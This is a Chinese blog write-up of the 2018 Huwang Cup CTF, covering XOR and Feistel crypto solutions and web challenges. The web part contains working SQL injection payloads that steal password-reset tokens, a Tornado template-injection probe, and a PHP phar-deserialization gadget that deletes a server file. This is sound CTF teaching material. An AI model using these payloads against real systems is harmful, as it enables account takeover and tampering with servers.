1. 程式人生 > >2018 護網杯

2018 護網杯

再一次觀看了一波神仙打架。

Misc

遲來的簽到題

題目提示 easy xor,開啟附件是一串 base64:

AAoHAR1QUiBTJVBQI1RVIl5WJVInUlNWIFZUX1ZRJ1dWU1dfURs=

解碼是亂碼。
猜想思路和 CSAW 密碼第一題一模一樣,寫出指令碼:

import base64
ciphertext="AAoHAR1QUiBTJVBQI1RVIl5WJVInUlNWIFZUX1ZRJ1dWU1dfURs="
cipher=base64.b64decode(ciphertext)
for i in range(0,256):
    result=""
    for
s in cipher: result+=chr(ord(s)^i) if "flag" in result: print result

flag{64F5C66E23D80C4A450F02907A105197}

Crypto

fez

題目原始碼:

import os
def xor(a,b):
    assert len(a)==len(b)
    c=""
    for i in range(len(a)):
        c+=chr(ord(a[i])^ord(b[i]))
    return c
def f(x,k):
    return
xor(xor(x,k),7) def round(M,K): L=M[0:27] R=M[27:54] new_l=R new_r=xor(xor(R,L),K) return new_l+new_r def fez(m,K): for i in K: m=round(m,i) return m K=[] for i in range(7): K.append(os.urandom(27)) m=open("flag","rb").read() assert len(m)<54 m+=os.urandom(
54-len(m)) test=os.urandom(54) print test.encode("hex") print fez(test,K).encode("hex") print fez(m,K).encode("hex")

給出了三組 print 的結果,分析加密過程是 feistel 密碼結構,迭代了七輪,全部為異或,即給定明文 L+R(明文分成兩部分),最後加密的結果是:

L_enc: R xor K1
R_enc: L xor R xor K2

題目給出了 test 和 test 加密的結果,可以計算出 K1 和 K2,然後利用 flag 密文左半部分算出 flag明文的右半部分,進而得到 flag。

指令碼如下:

def xor(a,b):
    assert len(a)==len(b)
    c=""
    for i in range(len(a)):
        c+=chr(ord(a[i])^ord(b[i]))
    return c

test="2315d80c2dd73098953686be6c82aa63c1d362eb0095e4621cce28bec4c921ce016afc7f39fd93b14b6c28ce69c7096b91fd2db0862d"
test_enc="308e590a180473ab4d23a0c67b65fe2bf2d0a9f1b255e4e2610b0c90e8e210c8ed4f2b9a3b09c1886a781f94fee4f77488c0b30f2395"
flag_enc="e822e918e578a7af4f0859a99aab5d7563644beb4207a73d5fc4560d3deb696320cec479431a4f724310499baf5230db7e56764915d0"
test=test.decode("hex")
test_enc=test_enc.decode("hex")
flag_enc=flag_enc.decode("hex")

k1=xor(test[27:54],test_enc[0:27])
k2=xor(xor(test[27:54],test[0:27]),test_enc[27:54])
flag_r=xor(k1,flag_enc[0:27])
flag_l=xor(flag_r,xor(k2,flag_enc[27:54]))

print flag_l+flag_r

flag{festel_weak_666_11xd77fhy33}

Web

easy tornado

題目開啟有三個選項:

Orz.txt 進去提示是 render()
hint.txt 進去提示是 md5(cookie_secret + md5(filename))
flag.txt 進去提示是 /fllllllllllag

url 格式: http://117.78.26.200:31031/file?filename=hint.txt&signature=74dfcb55b94ddbe4daedd3f21a68a2f

那麼應該就是讀 /fllllllllllag 了,但是這裡的 cookie_secret 不知道。
有一個提示是 render(),所以應該存在 SSTI,嘗試用**/error?msg={{1}}**,發現可以。但是過濾了相當多的字元,無法直接讀到 cookie_secret 這個變數。

嘗試了一波繞過姿勢,無果。應該是利用 tornado 框架別的方式讀取 cookie_secret。

‘cookie_secret’: g!E#Ax&_ywJ[d1BRWe5U?qa^@u4pIh<M$sTr0VL2t*3CKzv7mb]S-c8>X)G.lYDQ

有了 cookie_secret,filename 設成 /fllllllllllag,利用那個巢狀 md5 生成簽名去訪問,payload:

http://117.78.26.200:31031/file?filename=/fllllllllllag&signature=a0e8913e76b38d61f13cb22ba8d59cf5

得到 flag:

flag{975596d6031dd373b313acc910a6891f}

ltshop

結束後聽師傅們說是條件競爭和 mysql 的整數溢位,等一波 docker 復現…

easy_laravel

跟著師傅們的 wp 復現了一波,emmmmmm 不得不說這個題起名 easy_laravel,可以給出題人寄刀片了。現在 web一個題一個框架,打不動打不動…

註冊一下,進去發現只有一個 note,還是空的:

image.png

看一波原始碼:

image.png

找到了管理員的名字和郵箱,但是密碼是隨機 40 位,破解是不可能了。

看一下路由,發現只有 note 功能是非管理員可以訪問:

image.png

那麼我們首先要管理員身份登進去。

看一下 note 控制器 NoteController,發現存在注入:

image.png

所以構造 admin’or 1# 註冊,登進去:

image.png

再看看密碼:

image.png

但是無法破解出原密碼是什麼…

我們看到了重置密碼的程式碼:

image.png

大體流程是點選重置密碼,輸入管理員郵箱,就會生成一個管理員賬號的 token ,輸入 email 和對應的 token ,就可以訪問 /password/reset/token 重置密碼,token 怎麼得知呢?

我們看到 email 和 token 都存入了資料庫裡,而我們有注入點,資料庫所有資訊都可以拿到。

首先我們點選重置密碼,輸入管理員郵箱。再去資料庫裡拿 token:

image.png

payload:

admin'union select 1,(select token from password_resets where email='[email protected]'),3,4,5#

去訪問:

http://192.168.146.145:2333/password/reset/8eea41c7ef5cdf968941d07b321722a70c8bc89086d0149979e7ec91d5c07870

重置密碼:

image.png

成功登入管理員:

image.png

flag 部分顯示 no flag。
我們看一下 flag 部分的控制器,發現明明顯示了 flag:

image.png

這裡的考點是 Blade 模板快取,舊快取沒有刪除,我們無法看到 flag,參考這篇

所以我們要做的就是刪除快取檔案,讀到 flag,首先要找到快取檔案。

快取檔案的名字是laravel自動生成的,生成方法如下:

public function getCompiledPath($path)
{
    return $this->cachePath.'/'.sha1($path).'.php';
}

這裡的 $path 就是模板的位置,是** /usr/share/nginx/html/resources/views/auth/flag.blade.php **

nginx 的預設網站根目錄是 /usr/share/nginx/html,而從這篇部落格得知快取檔案放在 /storage/framework/views,加上 sha1 演算法,所以最後路徑是:

/usr/share/nginx/html/storage/framework/views/34e41df0934a75437873264cd28e2d835bc38772.php

有了路徑,怎麼去刪除呢?

利用 composer 的各種依賴,參考這篇 安裝元件。(可以利用 貼出的 docker 地址裡的 composer.phar,也可以新增環境變數用 composer install 安裝)

看一下composer,搜尋 unlike ,發現了在Swift_ByteStream_TemporaryFileByteStream的解構函式有 unlike,那應該是通過反序列化漏洞來執行解構函式刪除快取,在哪裡觸發反序列化呢?

我們在 check 這裡發現了 file_exists:

public function check(Request $request)
{
    $path = $request->input('path', $this->path);
    $filename = $request->input('filename', null);
    if($filename){
        if(!file_exists($path . $filename)){
            Flash::error('磁碟檔案已刪除,重新整理檔案列表');
        }else{
            Flash::success('檔案有效');
        }
    }
    return redirect(route('files'));
}

用到了 phar:// 反序列的方法,可以參考這篇文章

這樣我們構造 phar 包,以下是構造的 php 程式碼:

**注意一下:**需要將 php.ini 中的 phar.readonly 選項設定為off,否則無法生成 phar 檔案(php.ini中修改是記得把前面的";"去掉,我就是一隻沒去掉分號而一直修改不成功)

<?php
class Swift_ByteStream_AbstractFilterableInputStream {
    /**
     * Write sequence.
     */
    protected $sequence = 0;
    /**
     * StreamFilters.
     *
     * @var Swift_StreamFilter[]
     */
    private $filters = [];
    /**
     * A buffer for writing.
     */
    private $writeBuffer = '';
    /**
     * Bound streams.
     *
     * @var Swift_InputByteStream[]
     */
    private $mirrors = [];
}
class Swift_ByteStream_FileByteStream extends Swift_ByteStream_AbstractFilterableInputStream {
    /** The internal pointer offset */
    private $_offset = 0;

    /** The path to the file */
    private $_path;

    /** The mode this file is opened in for writing */
    private $_mode;

    /** A lazy-loaded resource handle for reading the file */
    private $_reader;

    /** A lazy-loaded resource handle for writing the file */
    private $_writer;

    /** If magic_quotes_runtime is on, this will be true */
    private $_quotes = false;

    /** If stream is seekable true/false, or null if not known */
    private $_seekable = null;

    /**
     * Create a new FileByteStream for $path.
     *
     * @param string $path
     * @param bool   $writable if true
     */
    public function __construct($path, $writable = false)
    {
        $this->_path = $path;
        $this->_mode = $writable ? 'w+b' : 'rb';

        if (function_exists('get_magic_quotes_runtime') && @get_magic_quotes_runtime() == 1) {
            $this->_quotes = true;
        }
    }

    /**
     * Get the complete path to the file.
     *
     * @return string
     */
    public function getPath()
    {
        return $this->_path;
    }
}
class Swift_ByteStream_TemporaryFileByteStream extends Swift_ByteStream_FileByteStream {
    public function __construct() {
        $filePath = "/usr/share/nginx/html/storage/framework/views/34e41df0934a75437873264cd28e2d835bc38772.php";
        parent::__construct($filePath, true);
    }
    public function __destruct() {
        if (file_exists($this->getPath())) {
            @unlink($this->getPath());
        }
    }
}
$obj = new Swift_ByteStream_TemporaryFileByteStream();
$p = new Phar('./1.phar', 0);
$p->startBuffering();
$p->setStub('GIF89a<?php __HALT_COMPILER(); ?>');
$p->setMetadata($obj);
$p->addFromString('1.txt','text');
$p->stopBuffering();
rename('./1.phar', '1.gif');
?>

在目錄下會生成一個 1.gif 檔案,上傳上去,發現檔案列表有了這個檔案:

image.png

然後 check 一下,注意要抓包,新增一下 path 引數,詳情看上面給出的 check 部分的程式碼。

image.png

path=path=phar:///usr/share/nginx/html/storage/app/public

觸發反序列化,刪除快取檔案,訪問 flag 就可以看到 flag 了。

image.png

參考:

總結

web 手已廢。

相關推薦

2018MISC題目遲來的簽到題easy xor???的writeup

這道題我異或?半天。。。 最後隊友小煤球想出來直接異或給的串中所有字元 得到flag from base64 import * b=b64decode("AAoHAR1WX1VQVlNVU1VRUl5XXyMjI1FWJ1IjUCQnXlZWXyckXhs=") data=

2018pwn題目task_gettingStart_ktQeERc的writeup

下載後   本來想先用checksec 看看有啥保護 但是卻發現執行不了(這裡不太明白) 看到做出的人那麼多  也就沒有顧慮了 載入IDA   看到關鍵字串  且有/bin/sh    

2018第一場 web easy tornado LTshop超詳細解答

easy tornado 這個tornado是一個python的模板,在web使用的時候給出了四個檔案,可以訪問,從提示中和url中可以看出,訪問需要檔名+檔案簽名(長度為32位,計算方式為md5(cookie_secret + md5(filename)));  flag檔名題目已給

2018——easy_dump

題目: 連結: https://pan.baidu.com/s/1IdhDQAv02nAz0H211BoVgA 提取碼: axgp 做題時看到下載下來的600m,懵逼中,看到是img映象檔案當然想到的是利用diskgenuis恢復檔案找特別檔案再進行解密。 一直做不出,是我想的太簡單

2018_Crypto_fez

 題目給了兩個檔案: fez.py: import os def xor(a,b): assert len(a)==len(b) c="" for i in range(len(a)): c+=chr(ord(a[i])^ord

2018的pwn簽到題(詳細過程)

題目: 連結:https://pan.baidu.com/s/1WcO-y2MQ6Wb17PqL2dxyyA 提取碼:z5a7 首先找保護機制 難受 保護全開!! 執行一下,發現只有一個輸入點。 ida分析一波 發現只要滿足 v7=0x7FFFFFFFFFFFFFFFLL 還有v8=0.1 但是在

2018MISC簽到題Easy Xor

記錄一下做這種題的方法 題目直接給了一串base64加密的字串,讓我們xor AAoHAR0jJ1AlVVEkU1BUVCAlIlFTUVUiUFRTVFVeU1FXUCVUJxs= 在網上看大佬們的writeup說的是因為不知道和誰異或,所以直接寫指令碼爆破 imp

2018

再一次觀看了一波神仙打架。 Misc 遲來的簽到題 題目提示 easy xor,開啟附件是一串 base64: AAoHAR1QUiBTJVBQI1RVIl5WJVInUlNWIFZUX1ZRJ1dWU1dfURs= 解碼是亂碼。 猜想思路和 CSAW 密

SIX(PWN)

首先檢視程式保護。 程式的主要邏輯如下。 先看看分配記憶體函式。兩塊記憶體的地址相近。且第一塊的許可權是rwx。 判斷輸入shellcode的函式。要求輸入不超過6個的偶數字節,且各不相同。 主函式最後會執行分配的第一塊記憶體中的程式碼,複製到其中的src反彙編的結果為。

pwn題目gettingStart

拖進IDA 通過main函式的程式碼顯而易見 v7需要等於0x7FFFFFFFFFFFFFF以及v8需要等於0.1 通過buf進行覆蓋即可 0.1在記憶體中的值為4591870180066957722 double a = 0.1; printf("%lld\n", *

huwang超詳細的wp(

護網杯pwn題huwang超詳細wp 比賽結束快一個星期了,復現了一下這道題,借鑑了一下網上的wp發現大佬們寫的都很簡略,所以這裡寫一個詳細的wp供小白們學習。 首發於安恆網路空間安全講武微信公眾號 簡單記錄一些小的知識點 來自於csapp: int open(

一道crypto

1 import os 2 def xor(a,b): 3 assert len(a)==len(b) 4 c="" 5 for i in range(len(a)): 6 c+=chr(ord(a[i])^ord(b[i])) 7 return

一道密碼學的感想

       護網杯比賽,一道不算難的密碼學卻思路繞了好久才和出題人相符合,這裡記錄一下做題的過程及感想        題目的原始碼如下: import os def xor(a,b): assert len(a)==len(b) c="" for i in range(len(a)

REFINAL超詳細WP

前言 由於時間原因沒有在比賽結束前提交flag,所以乾脆寫一個詳細的解答過程(自認為),適合小白閱讀,Pizza大佬請繞過。

部分題目題解

前言 護網杯的這次比賽還是很有收穫的,至少在web方面我認為是這樣的,還是得繼續努力吧。。。 正文 MISC 遲來的簽到 AAoHAR1UIFBSJFFQU1AjUVEjVidWUVJVJVZUIyUnI18jVFNXVRs= 題目說要異或,那就直接爆破異或就好 寫個

2018記錄

1 簽到題 2welcome下載檔案,發現是一個BMP圖片檔案。於是使用Stegsolve工具分離,發現,得到flag 3 streamgame1上指令碼1#! /usr/bin/env python3# coding:utf8def lfsr(R,mask):    out

wp

Web Easy_tornado 三個檔案都看一遍,在hint.txt裡面看到md5(cookie_secret + md5(filename)) 結合tornado想到可能是要獲取cookie_secret 其實就是一般的模板注入(這題可以SSTI,沒接觸過的

【強2018】逆向hide

style wro enter inline import HR add bcd stat 這是事後才做出來的,網上沒有找到現成的writeup,所以在這裏記錄一下 UPX加殼,而且linux下upx -d無法解,也無法gdb/ida attach 因為是64位,所

易安全部榮膺浙江省2018優秀團隊稱號

團隊 公司 shadow 環境 高效 加固 權限 不良信息 ESS 由於網易安全部在浙江省“護網2018”網絡實戰***演練中心中成績優異,上個月,浙江省網絡與信息安全信息通報中心向網易安全部頒發了證書,授予其“浙江省‘護網2018’優秀團隊獎”稱號。網易安全部榮獲浙江省護

2018易Java筆試題

特性 stat 歷史 是否 構造方法 final類 sdl 最終 子類 2018年網易Java筆試題 OOP三特性 封裝: 繼承: 多態: Java中如何實現多繼承 實現多個接口 使用內部類 Java對象生成過程 4.HashTable和HashMap的